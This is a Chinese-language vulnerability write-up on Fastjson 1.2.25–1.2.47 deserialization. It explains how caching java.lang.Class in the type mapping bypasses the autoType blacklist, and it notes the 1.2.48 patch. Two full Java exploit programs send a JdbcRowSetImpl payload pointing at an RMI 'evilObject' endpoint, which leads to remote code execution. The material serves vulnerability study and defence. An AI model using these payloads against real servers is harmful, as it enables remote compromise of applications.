前言
这里继续跟进一下下一个版本的漏洞利用。
影响版本
1.2.25-1.2.32:
未开启AutoTypeSupport时能成功利用
1.2.33-1.2.47:
无论是否开启AutoTypeSupport都能成功利用
1.2.25<=Fastjson<=1.2.32
因为没有开启AutoTypeSupport,所以就不会进入这个if黑白名单判断的逻辑,并且传入的是java.lang.class在下面也能绕过黑名单,重点还是看第二个键值解析。
与前面的利用链不同,这里是在com.alibaba.fastjson.parser.DefaultJSONParser方法中调用MiscCodec类的deserialze方法。
重点看一下deserialze方法,这里通过parse方法获取objVal,之后又赋值给了strVal。
然后到了这个地方通过TypeUtils.loadClass方法加载strVal中的类。
之后在这个方法中将strVal加入到mapping中。
到了后面会从mapping中加载第二个键值,也就绕过了第一次加载的检测。
EXP
import com.alibaba.fastjson.JSON;
public class Fastjson6 {
public static void main(String[] args) throws Exception{
String payload = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:1099/evilObject\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parse(payload);
}
}
1.2.33<=Fastjson<=1.2.47
这里只对开启AutoTypeSupport的1.2.47版本做分析,解析第一个键值的过程与上面的差不多,一样利用MiscCodec类的deserialze方法将恶意类存放入Mapping中。 主要的区别还是在第二个键值的解析上,因为开启了AutoTypeSupport,所以会进入黑白名单校验,这里来看一下怎么绕过的。
这里都是hash比较难看,但根据前文或者变量名可以判断出因为开启了AutoTypeSupport,所以会先进行白名单判断,再进行黑名单校验。 而第二个键值的解析自然是过不了白名单检验,并且会进入黑名单校验,com.sun.rowset.JdbcRowSetImpl肯定是过不了黑名单校验的。 好在黑名单校验的if判断条件中是需要两个必须同时满足的条件,而第二个条件是不满足的,因为解析第一键值的时候会把第二个键值存入Mapping中。
在1.2.25-1.2.32版本开启AutoTypeSupport利用失败的原因是,黑名单判断逻辑里面少了一个TypeUtils.getClassFromMapping(typeName) == null导致可以进入黑名单判断。
补丁
在1.2.48版本中这里多了一个缓存判断,并且缓存默认为false,这意味着无法向mapping中存入恶意类名来绕过黑名单判断。
EXP
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Fastjson6 {
public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:1099/evilObject\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parse(payload);
}
}
There Is Nothing Below